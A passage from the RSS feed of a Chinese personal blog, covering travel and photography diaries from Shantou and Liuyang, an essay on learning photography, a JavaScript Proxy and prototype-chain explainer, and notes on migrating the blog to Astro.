&lt;p&gt;最开始想集成的是randy的 &lt;a href=&quot;https://github.com/djyde/cusdis&quot;&gt;cusdis&lt;/a&gt; 但是发现功能较为单一，而且连他自己的博客也没有用这个评论系统 🤣，最后还是跟 &lt;a href=&quot;https://niracler.com/friends/&quot;&gt;@niracler&lt;/a&gt; 一样使用了 remark42&lt;/p&gt;
&lt;p&gt;我的部署选择先使用 &lt;a href=&quot;https://app.koyeb.com/services&quot;&gt;koyeb&lt;/a&gt;的 servless平台，整体部署过程很流畅，但我发现一个隐患，即数据卷volume并不支持导出，所以我的评论数据实际上都存储在koyeb上，为什么 remark42不提供一个网页来导出数据呢？&lt;/p&gt;
&lt;p&gt;另外一个问题则是，我发现此类self-hosted的评论系统都存在问题，即未限制嵌入的网页，所以理论上我可以直接把别人部署好的服务嵌入到我自己的博客中，这样虽然自己不是管理员，但用户评论什么的都是正常的&lt;/p&gt;
&lt;p&gt;部署过程中还遇到了一个问题，即评论是要区分不同页面的，最简单的当然就是附带上这个页面的url，这是配置过程中容易忽视的&lt;/p&gt;
&lt;p&gt;开发过程均为vibe coding，我只是简单的看了眼代码逻辑，测试功能无误就&lt;a href=&quot;https://github.com/rayepeng/rayepeng.github.io/commit/96dc144cd3b9a25364b78e8a71168d686483432b&quot;&gt;commit&lt;/a&gt;了&lt;/p&gt;
&lt;h3&gt;照片墙&lt;/h3&gt;
&lt;p&gt;访问我的照片墙：&lt;a href=&quot;https://photo.rayepeng.net/grid&quot;&gt;链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;自从坚持摄影以来，一直想要有一个属于自己的照片墙服务，尽管我已经是视觉中国的签约摄影师，我的&lt;a href=&quot;https://500px.com.cn/hiraye&quot;&gt;个人主页&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但如果你想要查看，你得先登录才行（这也是国产互联网的通病了，干啥都要登录）&lt;/p&gt;
&lt;p&gt;视觉中国上传照片投稿是比较麻烦的，因为照片像素要足够，且你只能一张张上传，还需要标记拍摄地点，如果要很多张图片要上传，简直是灾难。不过网页版还是支持一次性上传多张，但不过还是要重复这个取名字、打标签、地点的过程。&lt;/p&gt;
&lt;p&gt;但是我并不想那么麻烦，我只想要有一个能随时把自己的照片展示出来的网站，不管是相机拍的还是手机拍的，兜兜转转，最终部署了&lt;a href=&quot;https://github.com/sambecker/exif-photo-blog&quot;&gt;exif-photo-blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;部署平台是 vercel +supabase + cloudflare ，整个过程下来也挺简单的&lt;/p&gt;
&lt;p&gt;呈现效果：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/20251102212058.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也参考了大佬们的部署，我不想把拍照的具体地理位置暴露出来，这毕竟是属于隐私信息，因此没有选择&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://photo.imzm.org/&lt;/li&gt;
&lt;li&gt;https://camlife.app/zh&lt;/li&gt;
&lt;li&gt;https://photography.pseudoyu.com/&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;汕头团建&lt;/h2&gt;
&lt;p&gt;我其实一直认为周末和同事一起出去团建，就是变相地加班。&lt;/p&gt;
&lt;p&gt;历史传统，每年我们小组（10个人左右）都要在下半年的10~11月之间外出团建一次，之前去了两次惠州，其中一次记录在&lt;a href=&quot;https://rayepeng.net/weekpost21/&quot;&gt;周报21 惠州、新域名与阅读分享&lt;/a&gt;，还有一次是去了南昆山，但体验感一般般。&lt;/p&gt;
&lt;p&gt;每次团建我们都选择自驾出行，以往去惠州两个小时左右的车程还可以接受，但这次去汕头，总计4~5小时的车程，中间虽然会在服务区吃饭休息，但终究还是太累了（我都没开车还是很累）&lt;/p&gt;
&lt;p&gt;汕头之行安排的非常紧凑，周五晚上抵达汕头，周六白天上午在市区city walk，下午开车去南澳岛+南澳岛电驴飙车+晚上桌游，周日上午返程，可以说是非常特种兵了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对于旅游的出行，我现在发现，如果你想玩的尽兴，尽量一天之内不要换景点，除非你能接受特种兵的行程&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;周六日出&lt;/h3&gt;
&lt;p&gt;周六凌晨1点睡，5点我就自然醒了，打车去汕头东海岸期待一场日出&lt;/p&gt;
&lt;p&gt;太阳的升起的精确时间是在6点18分，我5点30左右就到了，从阶梯下到海边，此时的天色，还处于凌晨时刻的黑暗中，沿着东海岸的海岸线慢慢溜达，我确认了太阳升起的方位，四下无人，只有我一人静静听着潮起潮落，海浪涌上防波堤的声音&lt;/p&gt;
&lt;p&gt;一边沿着海岸线前行，零零散散又看到几个人，男男女女，盲猜他们是通宵后来到海岸边看日出。继续往前走，海天相接的地方，开始慢慢出现一抹粉红色&lt;/p&gt;
&lt;p&gt;但是太阳却迟迟不见踪影，明明已经过了约定的时间，等待的，却又迟迟不出现，开始感到一点失望，于是一边往回走，但又怕错过，于是我聪明地倒退着往回走&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://photo.rayepeng.net/_next/image?url=https%3A%2F%2Fpub-6004df080a394036a1919402fc24c795.r2.dev%2Fphoto-gjJsj5RZ1TK6Mzub.jpeg&amp;amp;w=2048&amp;amp;q=75&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;又过了几分钟，太阳终于出现了，于是我拍下了这一幕：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;小红书的网友送了我一句评价：日落映海，风车列岸，静谧画面，氛围感拉满，这也太会说了吧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/%E6%B1%95%E5%A4%B4%E4%B8%9C%E6%B5%B7%E5%B2%B8%E6%97%A5%E5%87%BA.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;惊喜的我还发现，oppo findx8u，竟然能对裁切的画面做AI超清像素的提升，这让原本是135mm拍摄的照片，裁切+像素提升后，直接获得了接近300mm焦距拍摄的效果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/%E6%B1%95%E5%A4%B4%E4%B8%9C%E6%B5%B7%E5%B2%B8%E6%97%A5%E5%87%BA%20(1).jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;小公园 city walk&lt;/h3&gt;
&lt;p&gt;主要是一些街拍照，但远没有小红书上拍的好，感觉被骗了，只适合随便走走逛逛，很是无聊&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/DSCF0055-1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/DSCF0057-2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/DSCF0063-1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/DSCF0078-4.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;周六南澳岛&lt;/h3&gt;
&lt;p&gt;下午3点左右来到南澳岛&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/photo-miZLrNCAouE1JbS7.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/%E9%92%B1%E6%BE%B3%E6%B9%BE%E7%81%AF%E5%A1%94.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;周日南澳岛日出&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/DSCF0110.JPG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/DSCF0112.JPG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;一些杂念&lt;/h2&gt;
&lt;p&gt;记录在我的tg&lt;a href=&quot;https://t.me/s/RayeJourney/&quot;&gt;频道&lt;/a&gt;，也摘录到博客里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/telegram-cloud-photo-size-5-6069041252180626531-y.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/telegram-cloud-photo-size-5-6069041252180626526-y.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报40 浏阳,烟花与日落</title><link>https://rayepeng.net/posts/weekpost40/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost40/</guid><pubDate>Thu, 30 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这里记录的是raye在2025.10.19~2025.10.26的生活与思考&lt;/p&gt;
&lt;h2&gt;浏阳之行&lt;/h2&gt;
&lt;h3&gt;缘起&lt;/h3&gt;
&lt;p&gt;我是个不太地道的浏阳人，自小便在浏阳长大，被冠以“小镇做题家”的名号，大学来到了武汉，工作在深圳，4年又4年，对家乡的记忆渐渐如果窗玻璃上的雾气，逐渐模糊。&lt;/p&gt;
&lt;p&gt;但其实这两年，浏阳的烟花早就在小红书上出名了，这是我未曾想到的。烟花一直是浏阳的特色了，但印象中最深刻的一次烟花燃放，当属高考出分回学校填完志愿后，学校特地为毕业生举办的烟花晚会。&lt;/p&gt;
&lt;p&gt;虽然那个时候不懂摄影，也用手机录下了天空的璀璨，只是已经再也找不到了，学校似乎自从那次燃放之后，每年为毕业生举办的烟花晚会也就取消了，现在每次想跟朋友描述，却苦于词穷，实在是有些遗憾。&lt;/p&gt;
&lt;p&gt;当然对比浏阳一年一次的烟花秀，这算是小巫见大巫了，虽然每次也会在视频号上关注，但从没想过自己亲自回老家去看一下。&lt;/p&gt;
&lt;p&gt;对于这次行程的规划，起因是川哥突然提到组织一次，于是本J人就开始规划了，结果实际要出行之前，川哥又带头咕咕了，最后只剩了我们三个人，既然都决定了那就出发吧。&lt;/p&gt;
&lt;h3&gt;出行+美食&lt;/h3&gt;
&lt;p&gt;小时候可能没想过浏阳为什么会叫浏阳，不过这个其实很好推，古代以“山南水北为阳”，浏阳，自然顾名思义就是在“浏水”的北面，我突然醒悟到果真如此，浏阳河流经市区南面，市中心以及CBD等都在浏阳河的北面，刚好印证了“浏阳”之名。&lt;/p&gt;
&lt;p&gt;提到浏阳，还有一句诗不得不说，那就是张若虚的《春江花月夜》，“白云一片去悠悠，青枫浦上不胜愁”， 所谓“青枫浦”，即浏阳八景之一”枫浦渔樵“，&lt;a href=&quot;https://www.sohu.com/a/511644527_120914498&quot;&gt;来源&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;当然浏阳还有很多的知名人物，如花炮始祖——李畋， 维新派著名人物，“我自横刀向天笑”的谭嗣同， 著名的剧作家，演员欧阳予倩（和梅兰芳齐名，号称南欧北梅）&lt;/p&gt;
&lt;p&gt;尽管如此人杰地灵，并且是全国的百强县，浏阳至今没有通高铁，于是想去浏阳，就只能通过长沙来中转。&lt;/p&gt;
&lt;p&gt;本浏阳人自然是轻车熟路，下高铁前就已经预约好了顺风专车，一个小时多一点就到了浏阳，因为是周五请了一天假，下午1点到长沙，此时去浏阳的高速还是没堵车的，花炮节的时间是在周五晚和周六晚两天，尽管没有堵车，但司机的单也已经爆满。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果想来浏阳玩的朋友，可以选择到长沙后租车，也可以选择“玖玖专车”服务，或者选择长沙西站的黎托客运服务，专车人均在50~60，客运服务则只要30一张票&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;惭愧的说，浏阳的美食我是了解的比较少的，毕竟在老家也不太经常会有出去吃饭的机会，唯一能说道说道的就是浏阳的蒸菜了，最有名的网红蒸菜馆“兄弟蒸菜馆”不太推荐，人太多了，我们则是在周六白天现在浏阳河沿岸散步，接着路边拐角刚好出现了一家“何阳蒸菜馆”，吃下来味道也挺不错的。&lt;/p&gt;
&lt;p&gt;最有名的可能就是蒸菜了，除此之外浏阳的夜市也是不错的，我最馋的就是浏阳的炒粉了，浏阳的炒粉就是宽粉，但在广东这边，则是叫河粉，搞得我刚来广东的时候有些不习惯。&lt;/p&gt;
&lt;p&gt;看烟花的锦程大道上，排满了三轮车，炒粉、炒粉、烧烤各式各样，跟一位大哥闲聊，他略不经意的说出一晚上就挣了两三千元，恐怕此时心里也是满满的开心吧。&lt;/p&gt;
&lt;h3&gt;烟花&lt;/h3&gt;
&lt;p&gt;周五晚上是开幕式，烟花的表演不算很多，但尽管如此，还是欣赏到了漫天的烟火，七彩祥云、生命树，还有我都叫不出名字的无人机烟火表演。&lt;/p&gt;
&lt;p&gt;我已经想不出形容词了，此时脑海中只想到辛弃疾的那句”东风夜放花千树，更吹落，星如雨“，此时恐怕也只有这句词，能描绘出此刻的盛景吧&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;无人机烟火表演是通过操控无人机， 排列阵型后统一点火。远远看过去，没有任何征兆的，一棵大树就在你面前出现，接着就是如同火烧云一般的景色，第一个想出这种玩法的怕不是个天才吧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以下图片均被pyq压缩过了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/25c88d3522dad1e5e04fb26eb8935a86.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/162d929adab67f6b7cb8f1bae1f63e0d.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/4ce15f0f5476c5962bd6aa879e0e1555.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/6cab4fd67f93a64e8fe572e18110b45d.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;日落&lt;/h2&gt;
&lt;p&gt;周日在返程的高铁上，看到摄影群的群友们在规划下午去拍深中通道悬日，于是我也打开巧摄，开始计算拍摄地点，位置很不错，唯一的变数就是天气了，但想着都回来了，难得有这样的一次机会，于是高铁到家之后，立刻带上z8+100400，赶往拍摄地点。&lt;/p&gt;
&lt;p&gt;到达时间接近4点，距离日落的时间还有接近1个半多小时，但是已经有好多人都架好了三脚架&lt;/p&gt;
&lt;p&gt;印象最深的是这位大哥的900mm，全场最靓的崽&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/24358d79cf55af087d58052e2752ab18.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;本以为看云层都要放弃了，太阳被远方的底层云给盖住了，估计又是翻车，但谁能想到，太阳钻入云层后，又从一个缝隙中钻了出来，厚厚的云层打开了一扇门，太阳给了我们一次机会，随着时间逐渐逼近，人群开始欢呼起来！太阳刚好悬在了深中通道的绳拉索上，就好像在荡秋千一样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/DSC_5545.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更开心的是，海面的那艘船也很给力，于是就有了这张照片：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/d7160f78266baf3ee7046f74bad7fe12.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就在我觉得结束要收工之时，谁又能想到云层开始泛红，火烧云出现了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/a19d3c02651e21f9d7d90797edba262e.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>相机就是我与这个世界链接的一种方式</title><link>https://rayepeng.net/posts/camera-link/</link><guid isPermaLink="true">https://rayepeng.net/posts/camera-link/</guid><pubDate>Thu, 30 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;使用vercel +cloudflare 搭建了自己的照片展示网站，欢迎访问：https://photo.rayepeng.net/&lt;/p&gt;
&lt;p&gt;收藏了一句我很喜欢的话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我举起相机, 相机就是我与这个世界链接的一种方式&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;还有另外一句&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们不是用相机在拍照，我们带到摄影中的去的是你曾经读过的书，看过的电影，听过的音乐，走过的路，爱过的人 —— 安塞尔 · 亚当斯&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;我与相机的缘起&lt;/h2&gt;
&lt;p&gt;购买相机起源于去年的一次冲动消费，因为要去惠州玩，详情记录在&lt;a href=&quot;https://rayepeng.net/weekpost30&quot;&gt;周报30 ENFJ人格、双月湾拾遗与阅读笔记&lt;/a&gt;，为了能够赶上周末的拍照，于是周一就在哥哥的推荐下购买了sony a7c2 + 腾龙 28200的镜头组合， 走上了自学摄影的道路。&lt;/p&gt;
&lt;p&gt;现在回想起来，当时对于曝光三要素还处于懵懂无知的状态，光圈、快门、ISO，A、S、M档，一堆名词向我涌来，尽管未能一时全部理解，但随着按下快门次数的增加，对这些概念也开始逐渐烂熟于心。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里也给还在犹豫摄影的朋友一个建议，如果有条件可以买一台相机，半画幅的尼康相机已经很便宜了，搭配上一枚变焦镜头，非常出片。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不过我的相机也曾有一段吃灰的时间，主要是不知道拍什么，相机买来并不能司空见惯的景色焕发出新的生机（不过如果你买的是哈苏那当我没说，哈苏无论拍什么都好看），对于喜欢风光摄影的朋友来说，每天的日出日落，蓝调时刻是非常出片的时间段，通过app——“莉景天气”，就可以知道当天的日出日落与蓝调时分，此时搜索小红书上的常见打卡机位，准时到达，按下快门，就能收获一张非常不错的照片。&lt;/p&gt;
&lt;p&gt;所以这就涉及到一个很关键的命题，即你有了相机你想拍什么？如果是拍风光，那么同价位肯定会建议入尼康，如果是只给女朋友拍照，那就是佳能，如果两者都想要，那就索尼。当然如果你不想后期的话，那就富士，接受多出来的溢价吧，因为这就是懒得代价 :)&lt;/p&gt;
&lt;p&gt;但你想拍什么，和你能拍什么，这又是两回事了，比如我想拍风景，但我真的有这个能力去拍风景吗？这涉及到主观上我想不想出去，以及客观上，到底有没有好的风景可以拍🤣&lt;/p&gt;
&lt;p&gt;在大城市，最常见的就是城市天际线，海边，高层建筑物，若是在小城市，如果拍风景，那你可能大概率需要一辆车，可以去到光污染比较低的地方拍星空（我真的好想拍一次星空啊啊🤩&lt;/p&gt;
&lt;h2&gt;关于模仿&lt;/h2&gt;
&lt;p&gt;可能会有朋友质疑，我也曾看过一些吐槽，这种准时的，规划好的打卡路线，缺乏新意，了无生机，按图索骥，邯郸学步，总之各种你能想到的贬义词都可以给你招呼上。但我不这么看，理由如下：&lt;/p&gt;
&lt;p&gt;第一，模仿本就是一种学习的过程，如果连模仿都嗤之以鼻，那可就是真的眼高手低，鼠目寸光了，不是谁都有高屋建瓴，高瞻远瞩的目光，哪怕对于一个简单的日出日落，想要拍摄好也有它的技巧&lt;/p&gt;
&lt;p&gt;拍照的过程，绝不是所说只要到达那个地方按下快门就好了，对于时间、天气、机位、云层、参数的计算，都是风光摄影的一部分，有时候甚至连交通的规划都是不可或缺的， 毕竟风光摄影是靠天吃饭，天是最不可控的，除天之外的因素都要尽可能地控制好，这样才能达到出片的效果&lt;/p&gt;
&lt;p&gt;第二，只有不断地模仿，才能达到烂熟于心，从而举一反三，如上所述，可能第一次去拍日出，没有考虑好参数，照片过曝或欠曝，第二次去拍日出，好的机位已经被占了，第三次去拍照，云层很厚不给力，模仿真的那么简单吗，完全不是，如果是真的高手，那当我没说，但对于像我这样绝大多数的普通人，不断地模仿和踩坑，才是快速提升自我的过程。&lt;/p&gt;
&lt;h2&gt;关于器材&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;对于器材祛魅最好的方式就是拥有它&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这句话说的真的没错，摄影爱好者往往会特别喜欢琢磨器材，好像70200gm拍出来的片子就一定比28200要好，虽然道理是这个道理，但多数时候我们就算知道了这些道理，也还是会按捺不住想要拥有的内心。器材贵不是它的缺点，是我的缺点^_^&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;补一句，器材的大跳水也是存在的，有些明显虚高的价格就死了心吧，比如富士、理光。还有我之前很想买的50150，两个月前它还卖3w，现在二手价格已经是1w6左右了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;为什么我会权想要入坑摄影的朋友先买一台相机呢？我知道手机拍的已经很好了， 其实我现在也经常用我手头的oppo findx8 ultra拍照，但光圈、快门、iso这三个参数，光靠手机其实很难让你掌握，相机更多的是一个契机，因为你必须要懂这三要素，你才能拍照，这就起到了一个逼迫学习的效果，等你在相机上毫不费力的调节参数时，你才能真正用好手机里的专业模式，而不再是依赖算法。&lt;/p&gt;
&lt;h2&gt;关于后期&lt;/h2&gt;
&lt;p&gt;肯定要学的，这不是打魂游，没有逃课的办法&lt;/p&gt;
&lt;p&gt;关键在于后期的程度，其实有些后期很简单的，比如简单的调整下曝光、白平衡、高光，阴影，白色黑色色阶，这就是最简单的光影调整了&lt;/p&gt;
&lt;p&gt;再往后一层，就涉及到了颜色的调整，比如归色、染色的技巧，当然这部分我也没有很好的掌握，只能看着感觉调🤣&lt;/p&gt;
</content:encoded></item><item><title>JS代理与原型链的陷阱</title><link>https://rayepeng.net/posts/js-proxy-and-prototype-chain-trap/</link><guid isPermaLink="true">https://rayepeng.net/posts/js-proxy-and-prototype-chain-trap/</guid><pubDate>Wed, 29 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;var o1,o2,o3,o4

o1 = { coin: 11 };

let handler = {
  get(target, prop, receiver) {
    console.log(`Getting ${prop}!`);
    return Reflect.get(target, prop, receiver);
  },
  set(target, prop, value, receiver) {
    console.info(target === o1, receiver === o4)
    console.log(`Setting ${prop} to ${value}!`);
    return target[prop]=value;
  }
}

o2 = new Proxy(o1,  handler);
o3 = Object.create(o2);
o4 = Object.create(o3);

o4.coin = 44;

console.info(o1.coin, o2.coin, o3.coin, o4.coin);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看上去只是一个很简单的 o4.coin = 44 ，但是却会涉及到原型链的修改&lt;/p&gt;
&lt;p&gt;原型链是这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;o4 --&amp;gt; o3 --&amp;gt; o2(Proxy) --&amp;gt; o1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;handler中的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set(target, prop, value, receiver) {
  console.info(target === o1, receiver === o4)
  console.log(`Setting ${prop} to ${value}!`);
  return target[prop] = value;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的target是指向o1， receiver则是指向o4&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;o1.coin = 44 ✅，因为 set handler 实际上修改的是 o1；&lt;/li&gt;
&lt;li&gt;o2.coin = 44 ✅，Proxy 读取的是 o1；&lt;/li&gt;
&lt;li&gt;o3.coin = 44 ✅，通过原型链 o3 → o2(Proxy) → o1；&lt;/li&gt;
&lt;li&gt;o4.coin = 44 ❌，因为 o4 自身并没有 coin 属性，仍然会沿原型链读取最终到 o1，值是 44。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最终打印结果为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;true true
Setting coin to 44!
Getting coin!
Getting coin!
Getting coin!
44 44 44 44
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;target vs receiver?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;target 是你传给 Proxy 构造函数的原始对象（例如 o1）；&lt;/li&gt;
&lt;li&gt;receiver 是实际访问/调用的对象（比如赋值时是 o4）；&lt;/li&gt;
&lt;li&gt;receiver 是 希望在哪个对象上定义属性 的“调用者”，特别关键在继承场景中。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此在 handler中，应该使用Reflect来做，而不是手动赋值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set(target, prop, value, receiver) {
  return Reflect.set(target, prop, value, receiver);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;测试getter和setter&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;var o1, o2, o3, o4;

o1 = { coin: 11 };

// 在 o2 上定义 getter 和 setter，模拟 Proxy 的行为
o2 = Object.create(o1);

Object.defineProperty(o2, &apos;coin&apos;, {
  get() {
    console.log(`Getting coin!`);
    return o1.coin;
  },
  set(value) {
    console.info(o1 === o1, true); // 模拟 Proxy 中 target === o1, receiver === o4
    console.log(`Setting coin to ${value}!`);
    o1.coin = value;
  },
  configurable: true,
  enumerable: true,
});

o3 = Object.create(o2);
o4 = Object.create(o3);

// 测试写入
o4.coin = 44;

// 输出每个对象的 coin 值
console.info(o1.coin, o2.coin, o3.coin, o4.coin);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如上，会遇到同样的问题，此时输出是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;true true
Setting coin to 44!
Getting coin!
Getting coin!
Getting coin!
44 44 44 44
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>astro配置笔记</title><link>https://rayepeng.net/posts/astro-config-notes/</link><guid isPermaLink="true">https://rayepeng.net/posts/astro-config-notes/</guid><pubDate>Wed, 29 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;由于xlog已经年久失修，于是在 &lt;a href=&quot;https://niracler.com/&quot;&gt;@niracler&lt;/a&gt; 的推荐下，将博客迁移到了 astro，最终还是回归到了静态网页，期间增加了一些自定义的功能，如保持和xlog rss订阅链接的兼容，自定义文章url等，代码都是在cursor上使用claude写的&lt;/p&gt;
&lt;h2&gt;url trailingSlash配置 + 适配xlog rss&lt;/h2&gt;
&lt;p&gt;参考了&lt;a href=&quot;https://docs.astro.build/zh-cn/reference/configuration-reference/#trailingslash&quot;&gt;官方文档&lt;/a&gt; 修改配置文件： &lt;code&gt;astro.config.mjs&lt;/code&gt;，将 &lt;code&gt;trailingSlash&lt;/code&gt; 选项修改为 &lt;code&gt;ignore&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
	site: &quot;https://raye.ink/&quot;,
	base: &quot;/&quot;,
	trailingSlash: &quot;ignore&quot;,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后复制原有的 &lt;code&gt;rss.xml.ts&lt;/code&gt; 为 &lt;code&gt;feed.ts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这样就可以实现自定义rss的源变成了 &lt;code&gt;https://raye.ink/feed&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而不再是强制匹配  &lt;code&gt;https://raye.ink/feed/&lt;/code&gt;，这样folo上订阅我的用户们就不用再操作一遍了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/rayepeng/rayepeng.github.io/commit/fd4028122269aadd709a051c313ad5b97797b946&quot;&gt;代码commit 链接&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;文章url 自定义&lt;/h2&gt;
&lt;p&gt;主要是默认的文章url 是带上文章标题的，这样复制分享给别人都很不方便，于是还是想自定义文章url&lt;/p&gt;
&lt;p&gt;直接看&lt;a href=&quot;https://github.com/rayepeng/rayepeng.github.io/commit/999613e1a53b51b667cffa3e3918a907ab7a1c42#diff-544dcd1cb4d05890db2dcf497052df475216a57683c346216e43133407b7ea58&quot;&gt;修改记录&lt;/a&gt;吧&lt;/p&gt;
&lt;p&gt;要改的地方有几个：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;首页文章链接&lt;/li&gt;
&lt;li&gt;文章下一篇链接&lt;/li&gt;
&lt;li&gt;rss生成链接&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同时要修改&lt;code&gt;scripts/new-post.js&lt;/code&gt; 这个文件，这样 &lt;code&gt;pnpm new-post xxx&lt;/code&gt; 新建文章的时候，也就自动在 frontmatter 上增加了配置项&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ps 目前文章url都是在posts下，和原有的文章url没法兼容，等我找到办法再修改吧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;const content = `---
title: ${args[0]}
published: ${getDate()}
description: &apos;&apos;
customSlug: &apos;&apos;
image: &apos;&apos;
tags: []
category: &apos;&apos;
draft: false 
lang: &apos;&apos;
---
`
&lt;/code&gt;&lt;/pre&gt;
